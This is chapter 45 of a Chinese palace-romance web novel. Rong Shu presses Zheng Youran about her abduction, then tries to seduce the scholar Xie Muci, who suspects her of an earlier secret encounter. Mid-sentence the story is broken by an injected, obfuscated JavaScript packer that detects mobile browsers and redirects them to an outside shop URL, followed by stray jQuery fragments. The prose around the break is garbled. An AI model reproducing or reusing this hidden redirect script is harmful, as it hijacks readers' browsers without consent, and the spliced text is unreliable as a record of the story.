45. 真相
作品:《误欺清冷少师》 容姝屋里桌上堆满了敞开盖子的礼盒,有金银珠宝,有绫罗绸缎,琳琅满目,应有尽有。
郑悠然凑到容姝床榻前,面上挂着一抹不自在的轻笑,“容二娘子受苦了,这些东西就当是给你赔罪。那夜是我考虑不周,让你平白遭了不测……”
容姝抬手打断她的话,“郑娘子,我允你进来不是要听这些官话的。你若真觉歉意,不如告诉我你掳走我的真实目的。”
郑悠然眸光流转,顿了一会儿才道:“先生没告诉你吗?”
他自然什么都没说,只答应了帮她以牙还牙,以眼还眼。容姝沉静道:“我想听你怎么说。”
“我也只是听差办事,谢家远比你想得要复杂,你这样性子的人不适合做谢家的主母,你于先生毫无增益。”郑悠然忍不住将到嘴的糊弄话改成了真实想法。
容姝心被扎了一样,却笑着回道:“你们都说我不配,可为何现在站在先生身边的是我?除了家世、学识、才艺,你们还有哪一点比我强,嗯?”
“……”郑悠然蓦地被她问住,她把最重要的都除掉了,那还比什么,思及今日来的目的,也不好再说厉言,便道:“容二娘子有自信是好事,但愿你能守得长久。”
容姝听不得酸话,撇嘴问:“你且说谁指使的你,又是谁动得刀子?”
“你不认为是我买凶半途杀人?”
“上京第一才女有那么蠢吗?还是你觉得我蠢?”
郑悠然神色复杂,眼皮抽搐得厉害,从前只觉得她没心没肺,乖张跳脱,如今打过两回交道,似乎比她想象中要聪明得多。
“郑谢两家有些渊源,太后只是请你去我家小住几日罢了。那日若不是我先掳走你,你此刻恐怕已经是一具尸体了。”
容姝杏眼睁得老大,一时也想不明白其中关窍,便又问:“那想杀我的是?”
“自然是最觊觎先生的那位,不然谁会平白无故地招惹是非!”
容姝抿着嘴,还想继续追问,却被郑悠然打断。
“我只能告诉你这些,旁的不会再多说半个字,你若想知道全部真相,大可去问先生。”郑悠然轻笑,“好好保重,我先走了。”
代珠指着桌上东西问:“姝娘子,这些东西该如何处理?放咱屋里还是送到府上库房?”
“不要白不要,都是挨刀子换来的,你去帮我折成银钱,我要存起来。”容姝抚着肚子,她现下有了孩子,可不能再如从前那般对银钱不感兴趣,能多存一分是一分。况且上次为了买通郑家府医,已经花掉了她大半银子。
容姝也不全然相信郑悠然的话,谢慕辞散职回府后,她第一时间跑去问。
谢慕辞神色淡淡,反问道:“她跟你说了些什么?”
“她说是太后要请我去郑国公府小住,想害我性命的另有其人。”
“我说了,我会为你做主。”
容姝见他不愿与自己多说,心下有些失落,垂眸道:“好,我相信先生。”
若真如郑悠然所说,最觊觎他的人除了自己不就是二公主萧令仪嘛。他昨日就说已经查到了元凶,为何不肯直白地告诉自己呢?
谢慕辞见她面上挂着失落,耐心解释了一句,“情况有些复杂,需要点时间。”
“嗯,我知晓了。”容姝欠身告退,顺眉顺耳的样子让人有些不适应。
跨过门槛时,她回头道:“先生,若觉为难就不必为难,我既已收下了她送来的钱帛,这件事就到此为止吧。”
“你当真如此想?”谢慕辞蹙眉,她似乎不相信他。
容姝点头,天家势威,他一介文弱书生,犯不着为了替自己讨公道就去得罪他们。
谢慕辞抿唇,未再言语。
-
夜里,容姝在床榻上翻来覆去,怎么也睡不着,翻滚间,胸前伤口扯得痛。
她一手捂住伤口,一手撑榻起身,“痛得好呀,刚好有理由去找先生。”
容姝三下五除二套上外衫,代珠被她惊醒,揉着眼睛问:“姝娘子,你这不睡觉是要作甚去?”
从前容姝不让代珠守夜,夜里她就回前院屋子里睡,自从出事后,代珠为了照顾她就跟她睡在同一间屋子里。
“你且睡你的,我去找先生有事。”容姝跑得一溜烟,一会儿就带上了门,不留给代珠一点儿说话时间。
她噼里啪啦地敲着谢慕辞的门,“先生,我伤口痛得厉害,你快帮我瞧瞧!”
“先生——”
“啪”地一声,清冷声音问:“何事?”
容姝一时懵住了,只觉得现下场景太过熟悉,原来不知不觉中,她已经深夜叨扰过他多次了。
哈,那也不差这一两回,三四五六七八回了!
容姝低头,从他臂下钻了进去,轻车熟路地坐下,嬉皮笑脸道:“我伤口疼,想让先生瞧瞧。”
谢慕辞阖上门,眸色敛了些,白日里她还一副低眉顺耳的贤淑模样,怎么夜里又这般地生龙活虎,“你那伤处应已结痂,怎么还会疼?”
“自然是想先生想得疼——”柔柔的嗓音里夹带着一丝娇气,如水眸子湿漉漉地瞧着他。
“不信先生你看。”容姝抬手去拽领口,纤白细颈立下露出一大片,在澄黄烛火下泛着莹润光泽。
“休要胡闹。”
容姝持起他的长手,贴到伤口处,“真的很疼,这伤口一直都是先生处理的,先生早就看过了不是吗?”
谢慕辞侧过身子,掌上传来她的温热,微微上下起伏的脉动,让人晃了心神。
孤男寡女夜处一室与白日里正常行医自然不一样,她难道不懂这个道理?
容姝摁着他的手,滑腻肌肤瞬间挤出指缝,勾勒出令人血脉喷张的旖旎画面。
“你没涂去痕膏?”他明显感受到那块凹凸不平。
容姝从腰间掏出一盒药膏,塞进去他手里,大言不惭道:“疼,要先生帮我涂。”
谢慕辞转身,垂眸居高临下地凝视着她,“又要耍小手段?”
容姝扬着小脸,笑吟吟道:“想要先生——”
“帮我涂药——”
小娘子香肩敞露,精致丰腴,起伏有致的光景一览无余。明明一脸无辜,动作间却又十分勾人。
谢慕辞指尖生出滚烫,他想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151004|194932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抽手,那小娘子却不依,拽着他又往下游走了几分。
“……你,可知自己在作甚?”谢慕辞眸色沉得厉害,耳后也泛起热意。
“我想与先生亲近。”容姝缠着他,微微使劲,好看的眼睛染上雾气,说得十分坦诚。
谢慕辞掌心微颤,他明显感受到不同寻常,想推开她,又觉得她动作娴熟之余还有些熟悉。
如果真是她,那夜她是不是也像现在这样,持着他的手为所欲为?
那接下来该掐他,或咬他了?
容姝见他没抵触,胆子又大了些,娇声问:“先生,你能坐下来吗?仰得我脖子疼。”
谢慕辞冷嗤,“姝娘子还真是身娇体贵,哪哪都疼。”
话虽如此,他还是鬼使神差地坐了下去,端得正人君子模样,完全忘了他的手还在……
容姝眸光来回流转,狡黠道:“先生都唤我姝娘子了,你我之间清白不了。”
她引着他,翻来覆去,笑得就跟个小妖精似的。
“你在勾引谢某。”
容姝凑到他耳边,小声道:“我想与先生做快乐事。”
“何为快乐事?”谢慕辞身子不自觉往后缩了些,她鼻间热息烫得他不舒服。
“先生博古通今,焉不知何为快乐事?”容姝有意撩拨,红唇贴上他颈间,有一下没一下的,说是亲吻,不如说是啃咬。
她终于要开始了?
谢慕辞眉心一动,微曲的指尖勾得容姝一声咽呜,她责怪道:“还敢说你不知。”
她都快撑不住了。
流连间,她瞧见了那颗让她魂牵梦萦的红色小痣,深深藏在他好看的锁骨窝里,她不再犹豫。
这时,谢慕辞原有的意动消散去,眸间一片冰冷。
果然,她在咬他!咬得沉醉,咬得娴熟……
咬得他瞬间回到那一夜,同样的技法,同样的力道,不是她还能是谁!
容姝十分贪恋那独属他的清冽气息,紧紧揽着他,放纵自己胡乱施为。
谢慕辞的手不知何时攀上了她颈间,大手在她纤薄皮肉上来回比划,一会儿张,一会儿收,似乎下一秒就要掐死她。
“先生,你又不专心!”容姝张嘴,贝齿直接咬上他那扎在瓷玉皮肉里的纤长锁骨。
谢慕辞指尖逐渐收紧,松松掐住她脖子,眯眸问道:“姝娘子,可曾做过什么亏心事?”
容姝嘴下一松,他这话是什么意思?!
谢慕辞蓦地从她颈间收手,抚上她隆起的肚子,意味不明地贴着,“你说,快八个月的孩子胎死腹中,他会不会有怨气?”
容姝身体一僵,立即绷直身体坐好,将他大手拨开,怒问:“先生在胡说些什么!孩子好好的,休要说这些不吉利的话!”
她听不得这些!
谢慕辞轻笑,浅浅笑意却压不住眸底深处的冷意,“谢某不过是开个玩笑罢了,姝娘子何必这么紧张。”
容姝边理衣裳,边思考,难道他发现了什么证据?这说话的口气像是已经确认了她就是那夜偷香窃玉的采花贼。
她自然是打死都不能承认的!

